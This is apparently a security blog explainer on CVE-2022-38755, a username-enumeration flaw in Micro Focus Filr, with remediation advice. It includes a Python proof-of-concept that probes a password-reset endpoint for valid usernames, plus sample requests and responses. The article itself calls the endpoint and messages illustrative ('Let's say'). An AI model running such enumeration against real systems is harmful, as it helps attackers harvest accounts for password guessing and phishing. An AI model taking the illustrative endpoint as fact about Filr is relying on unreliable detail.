In September 2022, a security flaw labeled CVE-2022-38755 was found in Micro Focus Filr, an enterprise file-sharing platform. This vulnerability makes it easy for attackers to check if a username exists on the system without needing any login credentials. The issue affects all versions of Filr before 4.3.1.1. In this article, we’ll break down what this means, how the vulnerability works, show you example code, and how you can protect yourself.

What Is CVE-2022-38755?

CVE-2022-38755 is a "remote, unauthenticated user enumeration" vulnerability in Micro Focus Filr. A user enumeration issue means an attacker can find out which usernames are valid on a system—and that's usually step one in most targeted attacks. With just a simple HTTP request, an attacker can determine which usernames are registered, setting the stage for further exploits like password guessing or phishing.

Official CVE Reference:  
https://nvd.nist.gov/vuln/detail/CVE-2022-38755

Vendor Advisory:  
https://support.microfocus.com/kb/doc.php?id=000021231

Affected Versions

Any installation of Micro Focus Filr version prior to 4.3.1.1 is vulnerable to this bug.

Here's why this flaw matters

- Attackers can harvest usernames: Once they know valid usernames, they can try to guess passwords, run brute-force attacks, or try those usernames in other applications (credential stuffing).
- Social engineering risks: Knowing real usernames can help attackers craft more convincing phishing emails.

How the Attack Works

The vulnerability is found in the way Filr handles failed login attempts or password reset requests. Usually, both successful and unsuccessful attempts should return the exact same error message, e.g., “Invalid username or password.” But in affected versions, the web interface responds *differently* when you enter a real username versus a fake one.

Example Attack Scenario

Let’s say there's a password reset function at /rest/auth/forgotPassword. If you submit a real username, the system says:  
“Instructions sent to your email.”  
If you use a fake username, it replies:  
“Username not found.”  

That difference gives away which usernames are valid.

Proof-of-Concept (PoC) Snippet

Here’s a super simple Python script showing how an attacker might exploit this. (This is for educational use only):

import requests

url = "https://<your-filr-server>/rest/auth/forgotPassword";
usernames = ["admin", "jsmith", "mike", "alice"]  # list of usernames to check

for username in usernames:
    data = {"username": username}
    r = requests.post(url, json=data, verify=False)
    if "instructions" in r.text.lower():
        print(f"[+] Username '{username}' exists!")
    else:
        print(f"[-] Username '{username}' not found.")

> Tip: Replace <your-filr-server> with the real domain.  
> Note: Modify the script if your Filr instance is on a different password reset endpoint.

Sample Request

POST /rest/auth/forgotPassword HTTP/1.1
Host: filr.example.com
Content-Type: application/json

{
    "username": "victimuser"
}

Sample Response (Valid User)

{
    "message": "Instructions sent to your email address."
}

Sample Response (Invalid User)

{
    "error": "Username not found."
}

Exploit Details

- Attack Method: Send a POST request to the password reset endpoint, observe the message, and check if a username is valid.

Mitigation & Fix

Upgrade Filr to version 4.3.1.1 or newer.

Releases:

Micro Focus Filr 4.3.1.1 Release Notes

References

- CVE-2022-38755 – NIST Entry
- Micro Focus Security Bulletin – 000021231
- Filr Release Notes

Conclusion

CVE-2022-38755 shows just how harmful even a “small” bug—like user enumeration—can be for your organization’s security. Attackers love to get lists of usernames because it gives them a huge head start for further attacks. If you’re running Micro Focus Filr, update your system to 4.3.1.1 or later ASAP.

Feel free to share this post with your IT team to raise awareness and improve your organization’s security posture. Stay safe!


*If you have any questions about this vulnerability or how to address it, don’t hesitate to reach out or leave a comment below.*

Timeline

Published on: 11/21/2022 17:15:00 UTC
Last modified on: 11/23/2022 17:53:00 UTC